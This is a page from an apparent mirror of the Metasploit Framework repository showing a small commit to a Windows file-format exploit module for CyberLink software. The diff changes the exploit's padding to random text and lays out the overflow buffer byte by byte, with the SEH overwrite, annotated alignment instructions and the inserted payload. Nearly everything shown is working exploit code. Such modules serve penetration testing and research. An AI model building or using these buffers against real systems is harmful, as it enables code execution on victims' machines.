infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

better randomization

unstable
Steven Seeley 2012-04-15 12:16:51 +10:00
parent 50e36d3fb0
commit 9b2797f707
1 changed files with 5 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb
View File

@ -89,15 +89,15 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
title = rand_text_alpha(10)
buffer = ""
buffer << "\x41" * 778
buffer = ""
buffer << rand_text_alpha(778)
buffer << "\x58\x28" # nseh
buffer << target['Ret'] # seh
buffer << "\x5f\x73" * 15 # pop edi/add [ebx],dh (after byte alignment)
buffer << "\x5f\x73" * 15 # pop edi/add [ebx],dh (after byte alignment)
buffer << "\x58\x73" # pop eax/add [ebx],dh (after byte alignment)
buffer << "\x40\x73" * 3 # inc eax/add [ebx],dh (after byte alignment)
buffer << "\x40\x73" * 3 # inc eax/add [ebx],dh (after byte alignment)
buffer << "\x40" # inc eax
buffer << "\x73\x42" * 337 # add [ebx],dh/pop edx (after byte alignment)
buffer << "\x73\x42" * 337 # add [ebx],dh/pop edx (after byte alignment)
buffer << "\x73" # add [ebx],dh (after byte alignment)
buffer << get_payload(payload.encoded)